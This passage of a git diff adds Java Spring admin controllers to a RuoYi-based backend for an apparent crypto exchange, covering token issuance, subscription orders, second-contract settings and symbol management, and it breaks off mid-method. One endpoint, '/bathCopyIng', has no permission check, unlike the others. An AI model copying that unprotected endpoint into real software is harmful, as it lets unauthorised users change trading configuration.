* + * @author ruoyi + * @date 2023-09-18 + */ +@RestController +@RequestMapping("/bussiness/ownCoin") +public class TOwnCoinController extends BaseController +{ + @Autowired + private ITOwnCoinService tOwnCoinService; + @Resource + private ITSpontaneousCoinService tSpontaneousCoinService; + @Resource + private IKlineSymbolService klineSymbolService; + + /** + * 查询发币列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:list')") + @GetMapping("/list") + public TableDataInfo list(TOwnCoin tOwnCoin) + { + startPage(); + List list = tOwnCoinService.selectTOwnCoinList(tOwnCoin); + return getDataTable(list); + } + + /** + * 导出发币列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:export')") + @Log(title = "发币", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TOwnCoin tOwnCoin) + { + List list = tOwnCoinService.selectTOwnCoinList(tOwnCoin); + ExcelUtil util = new ExcelUtil(TOwnCoin.class); + util.exportExcel(response, list, "发币数据"); + } + + /** + * 获取发币详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tOwnCoinService.selectTOwnCoinById(id)); + } + + /** + * 新增发币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:add')") + @Log(title = "发币", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TOwnCoin tOwnCoin) + { + tOwnCoin.setCoin(tOwnCoin.getCoin().toLowerCase()); + TSpontaneousCoin oldSpontaneousCoin = tSpontaneousCoinService.getOne(new LambdaQueryWrapper().eq(TSpontaneousCoin::getCoin, tOwnCoin.getCoin())); + TOwnCoin oldTOwnCoin = tOwnCoinService.getOne(new LambdaQueryWrapper().eq(TOwnCoin::getCoin, tOwnCoin.getCoin())); + KlineSymbol oldklineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper() + .eq(KlineSymbol::getSymbol, tOwnCoin.getCoin()) + .and(k->k.eq(KlineSymbol::getMarket,"binance").or().eq(KlineSymbol::getMarket,"echo"))); + if (Objects.nonNull(oldSpontaneousCoin) || Objects.nonNull(oldTOwnCoin) || Objects.nonNull(oldklineSymbol)){ + return AjaxResult.error(tOwnCoin.getCoin()+"已经存在"); + } + return toAjax(tOwnCoinService.insertTOwnCoin(tOwnCoin)); + } + + /** + * 修改发币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "发币", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TOwnCoin tOwnCoin) + { + return toAjax(tOwnCoinService.updateTOwnCoin(tOwnCoin)); + } + + /** + * 删除发币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:remove')") + @Log(title = "发币", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tOwnCoinService.deleteTOwnCoinByIds(ids)); + } + + /** + * 发布新币 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "发布", businessType = BusinessType.UPDATE) + @GetMapping("/editStatus/{id}") + public AjaxResult editStatus(@PathVariable Long id) + { + return toAjax(tOwnCoinService.editStatus(id)); + } + + /** + * 新币上线中,发币结束 申购资产发送 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "发布", businessType = BusinessType.UPDATE) + @GetMapping("/editReleaseStatus/{id}") + public AjaxResult editReleaseStatus(@PathVariable Long id) + { + return toAjax(tOwnCoinService.editReleaseStatus(id)); + } + + /** + * 查询发币订阅列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:list')") + @Log(title = "订阅") + @GetMapping("/subscribeList") + public TableDataInfo subscribeList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) + { + startPage(); + List list = tOwnCoinService.selectTOwnCoinSubscribeOrderList(tOwnCoinSubscribeOrder); + return getDataTable(list); + } + + /** + * 查询订阅订单详情 + * + * @param id + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "订阅") + @GetMapping("/subOrder/{id}") + public AjaxResult subOrder(@PathVariable Long id) + { + return success(tOwnCoinService.getTOwnCoinSubscribeOrder(id)); + } + + /** + * 修改(审批)发币订阅 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:edit')") + @Log(title = "订阅", businessType = BusinessType.UPDATE) + @PostMapping("/editSubscribe") + public AjaxResult editSubscribe(@RequestBody TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) + { + return toAjax(tOwnCoinService.updateTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java new file mode 100644 index 0000000..16330ee --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java @@ -0,0 +1,118 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import com.ruoyi.bussiness.service.ITOwnCoinOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 申购订单Controller + * + * @author ruoyi + * @date 2023-09-20 + */ +@RestController +@RequestMapping("/bussiness/ownCoinOrder") +public class TOwnCoinOrderController extends BaseController +{ + @Autowired + private ITOwnCoinOrderService tOwnCoinOrderService; + + /** + * 查询申购订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:list')") + @GetMapping("/list") + public TableDataInfo list(TOwnCoinOrder tOwnCoinOrder) + { + startPage(); + List list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder); + return getDataTable(list); + } + + /** + * 导出申购订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:export')") + @Log(title = "申购订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TOwnCoinOrder tOwnCoinOrder) + { + List list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder); + ExcelUtil util = new ExcelUtil(TOwnCoinOrder.class); + util.exportExcel(response, list, "申购订单数据"); + } + + /** + * 获取申购订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tOwnCoinOrderService.selectTOwnCoinOrderById(id)); + } + + /** + * 新增申购订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:add')") + @Log(title = "申购订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + return toAjax(tOwnCoinOrderService.insertTOwnCoinOrder(tOwnCoinOrder)); + } + + /** + * 修改申购订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:edit')") + @Log(title = "申购订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + return toAjax(tOwnCoinOrderService.updateTOwnCoinOrder(tOwnCoinOrder)); + } + + /** + * 删除申购订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:remove')") + @Log(title = "申购订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tOwnCoinOrderService.deleteTOwnCoinOrderByIds(ids)); + } + + /** + * 审批(修改)申购订单 + * + * @param tOwnCoinOrder + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:edit')") + @Log(title = "申购订单", businessType = BusinessType.UPDATE) + @PostMapping("/editPlacing") + public AjaxResult editPlacing(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + return tOwnCoinOrderService.editPlacing(tOwnCoinOrder); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java new file mode 100644 index 0000000..4b34ad7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java @@ -0,0 +1,150 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 秒合约币种配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/bussiness/coin") +public class TSecondCoinConfigController extends BaseController +{ + @Autowired + private ITSecondCoinConfigService tSecondCoinConfigService; + + /** + * 查询秒合约币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:list')") + @GetMapping("/list") + public TableDataInfo list(TSecondCoinConfig tSecondCoinConfig) + { + startPage(); + List list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + return getDataTable(list); + } + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:list')") + @GetMapping("/copylist") + public AjaxResult copylist(TSecondCoinConfig tSecondCoinConfig) + { + List list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + return AjaxResult.success(list); + } + + /** + * 导出秒合约币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:export')") + @Log(title = "秒合约币种配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSecondCoinConfig tSecondCoinConfig) + { + List list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + ExcelUtil util = new ExcelUtil(TSecondCoinConfig.class); + util.exportExcel(response, list, "秒合约币种配置数据"); + } + + /** + * 获取秒合约币种配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondCoinConfigService.selectTSecondCoinConfigById(id)); + } + + /** + * 新增秒合约币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:add')") + @Log(title = "秒合约币种配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSecondCoinConfig tSecondCoinConfig) + { + TSecondCoinConfig one = tSecondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, tSecondCoinConfig.getCoin())); + if(null != one){ + return AjaxResult.success("请勿重复添加!"); + } + tSecondCoinConfig.setCreateBy(SecurityUtils.getUsername()); + return toAjax(tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig)); + } + /** + * 一键添加秒合约币种 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:add')") + @Log(title = "秒合约币种配置", businessType = BusinessType.INSERT) + @PostMapping("batchSave/{coins}") + public AjaxResult batchSave(@PathVariable String[] coins) + { + tSecondCoinConfigService.batchSave(coins); + return AjaxResult.success(); + } + + /** + * 修改秒合约币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:edit')") + @Log(title = "秒合约币种配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSecondCoinConfig tSecondCoinConfig) + { + tSecondCoinConfig.setUpdateBy(SecurityUtils.getUsername()); + return toAjax(tSecondCoinConfigService.updateTSecondCoinConfig(tSecondCoinConfig)); + } + + /** + * 删除秒合约币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:remove')") + @Log(title = "秒合约币种配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSecondCoinConfigService.deleteTSecondCoinConfigByIds(ids)); + } + @PreAuthorize("@ss.hasPermi('bussiness:coin:config:bathCopy')") + @Log(title = "查看已有的周期配置币种", businessType = BusinessType.DELETE) + @PostMapping("/query/bathCopy") + public AjaxResult bathCopy() + { + return AjaxResult.success(tSecondCoinConfigService.selectBathCopySecondCoinConfigList()); + } + + /** + * 周期配置批量复制 + * @return + */ + @PostMapping("/bathCopyIng") + public AjaxResult bathCopyIng(@RequestBody SecondCoinCopyVO secondCoinCopyVO) + { + return toAjax(tSecondCoinConfigService.bathCopyIng(secondCoinCopyVO)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java new file mode 100644 index 0000000..87d9154 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TSecondContractOrder; +import com.ruoyi.bussiness.service.ITSecondContractOrderService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 秒合约订单Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/bussiness/secondContractOrder") +public class TSecondContractOrderController extends BaseController +{ + @Autowired + private ITSecondContractOrderService tSecondContractOrderService; + + /** + * 查询秒合约订单列表 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:list')") + @GetMapping("/list") + public TableDataInfo list(TSecondContractOrder tSecondContractOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tSecondContractOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder); + return getDataTable(list); + } + + /** + * 导出秒合约订单列表 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:export')") + @Log(title = "秒合约订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSecondContractOrder tSecondContractOrder) + { + List list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder); + ExcelUtil util = new ExcelUtil(TSecondContractOrder.class); + util.exportExcel(response, list, "秒合约订单数据"); + } + + /** + * 获取秒合约订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondContractOrderService.selectTSecondContractOrderById(id)); + } + + /** + * 新增秒合约订单 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:add')") + @Log(title = "秒合约订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSecondContractOrder tSecondContractOrder) + { + return toAjax(tSecondContractOrderService.insertTSecondContractOrder(tSecondContractOrder)); + } + + /** + * 修改秒合约订单 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:edit')") + @Log(title = "秒合约订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSecondContractOrder tSecondContractOrder) + { + return toAjax(tSecondContractOrderService.updateTSecondContractOrder(tSecondContractOrder)); + } + + /** + * 删除秒合约订单 + */ + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:remove')") + @Log(title = "秒合约订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSecondContractOrderService.deleteTSecondContractOrderByIds(ids)); + } + + @PreAuthorize("@ss.hasPermi('secondContractOrder:order:edit')") + @Log(title = "秒合约订单", businessType = BusinessType.UPDATE) + @PostMapping("/buff") + public AjaxResult buff(@RequestBody TSecondContractOrder tSecondContractOrder) + { + return toAjax(tSecondContractOrderService.updateTSecondContractOrder(tSecondContractOrder)); + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java new file mode 100644 index 0000000..bc18d11 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 秒合约币种周期配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/bussiness/period") +public class TSecondPeriodConfigController extends BaseController +{ + @Autowired + private ITSecondPeriodConfigService tSecondPeriodConfigService; + + /** + * 查询秒合约币种周期配置列表 + */ + @PreAuthorize("@ss.hasPermi('period:config:list')") + @GetMapping("/list") + public TableDataInfo list(TSecondPeriodConfig tSecondPeriodConfig) + { + startPage(); + List list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig); + return getDataTable(list); + } + + /** + * 导出秒合约币种周期配置列表 + */ + @PreAuthorize("@ss.hasPermi('period:config:export')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSecondPeriodConfig tSecondPeriodConfig) + { + List list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig); + ExcelUtil util = new ExcelUtil(TSecondPeriodConfig.class); + util.exportExcel(response, list, "秒合约币种周期配置数据"); + } + + /** + * 获取秒合约币种周期配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('period:config:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondPeriodConfigService.selectTSecondPeriodConfigById(id)); + } + + /** + * 新增秒合约币种周期配置 + */ + @PreAuthorize("@ss.hasPermi('period:config:add')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSecondPeriodConfig tSecondPeriodConfig) + { + return toAjax(tSecondPeriodConfigService.insertTSecondPeriodConfig(tSecondPeriodConfig)); + } + + /** + * 修改秒合约币种周期配置 + */ + @PreAuthorize("@ss.hasPermi('period:config:edit')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSecondPeriodConfig tSecondPeriodConfig) + { + return toAjax(tSecondPeriodConfigService.updateTSecondPeriodConfig(tSecondPeriodConfig)); + } + + /** + * 删除秒合约币种周期配置 + */ + @PreAuthorize("@ss.hasPermi('period:config:remove')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSecondPeriodConfigService.deleteTSecondPeriodConfigByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java new file mode 100644 index 0000000..b2317a5 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; +import com.ruoyi.bussiness.service.ITSpontaneousCoinService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 自发币种配置Controller + * + * @author ruoyi + * @date 2023-10-08 + */ +@RestController +@RequestMapping("/bussiness/spontaneousCoin") +public class TSpontaneousCoinController extends BaseController +{ + @Autowired + private ITOwnCoinService tOwnCoinService; + @Resource + private ITSpontaneousCoinService tSpontaneousCoinService; + @Resource + private IKlineSymbolService klineSymbolService; + + /** + * 查询自发币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:list')") + @GetMapping("/list") + public TableDataInfo list(TSpontaneousCoin tSpontaneousCoin) + { + startPage(); + List list = tSpontaneousCoinService.selectTSpontaneousCoinList(tSpontaneousCoin); + return getDataTable(list); + } + + /** + * 导出自发币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:export')") + @Log(title = "自发币种配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSpontaneousCoin tSpontaneousCoin) + { + List list = tSpontaneousCoinService.selectTSpontaneousCoinList(tSpontaneousCoin); + ExcelUtil util = new ExcelUtil(TSpontaneousCoin.class); + util.exportExcel(response, list, "自发币种配置数据"); + } + + /** + * 获取自发币种配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSpontaneousCoinService.selectTSpontaneousCoinById(id)); + } + + /** + * 新增自发币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:add')") + @Log(title = "自发币种配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSpontaneousCoin tSpontaneousCoin) + { + tSpontaneousCoin.setCoin(tSpontaneousCoin.getCoin().toLowerCase()); + TSpontaneousCoin oldSpontaneousCoin = tSpontaneousCoinService.getOne(new LambdaQueryWrapper().eq(TSpontaneousCoin::getCoin, tSpontaneousCoin.getCoin())); + TOwnCoin tOwnCoin = tOwnCoinService.getOne(new LambdaQueryWrapper().eq(TOwnCoin::getCoin, tSpontaneousCoin.getCoin())); + KlineSymbol oldklineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper() + .eq(KlineSymbol::getSymbol, tSpontaneousCoin.getCoin()) + .and(k->k.eq(KlineSymbol::getMarket,"binance").or().eq(KlineSymbol::getMarket,"echo"))); + if (Objects.nonNull(oldSpontaneousCoin) || Objects.nonNull(tOwnCoin) || Objects.nonNull(oldklineSymbol)){ + return AjaxResult.error(tSpontaneousCoin.getCoin()+"已经存在"); + } + return toAjax(tSpontaneousCoinService.insertTSpontaneousCoin(tSpontaneousCoin)); + } + + /** + * 修改自发币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:edit')") + @Log(title = "自发币种配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSpontaneousCoin tSpontaneousCoin) + { + return toAjax(tSpontaneousCoinService.updateTSpontaneousCoin(tSpontaneousCoin)); + } + + /** + * 删除自发币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:remove')") + @Log(title = "自发币种配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{id}") + public AjaxResult remove(@PathVariable Long id) + { + return toAjax(tSpontaneousCoinService.deleteTSpontaneousCoinById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java new file mode 100644 index 0000000..4c2b90a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java @@ -0,0 +1,146 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币种管理Controller + * + * @author ruoyi + * @date 2023-07-12 + */ +@RestController +@RequestMapping("/bussiness/symbolmanage") +public class TSymbolManageController extends BaseController +{ + @Autowired + private ITSymbolManageService tSymbolManageService; + + /** + * 查询币种管理列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:list')") + @GetMapping("/list") + public TableDataInfo list(TSymbolManage tSymbolManage) + { + startPage(); + List list = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + return getDataTable(list); + } + + /** + * 导出币种管理列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:export')") + @Log(title = "币种管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSymbolManage tSymbolManage) + { + List list = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + ExcelUtil util = new ExcelUtil(TSymbolManage.class); + util.exportExcel(response, list, "币种管理数据"); + } + + /** + * 获取币种管理详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:query')") + @GetMapping(value = "/{id}") + public AjaxResult 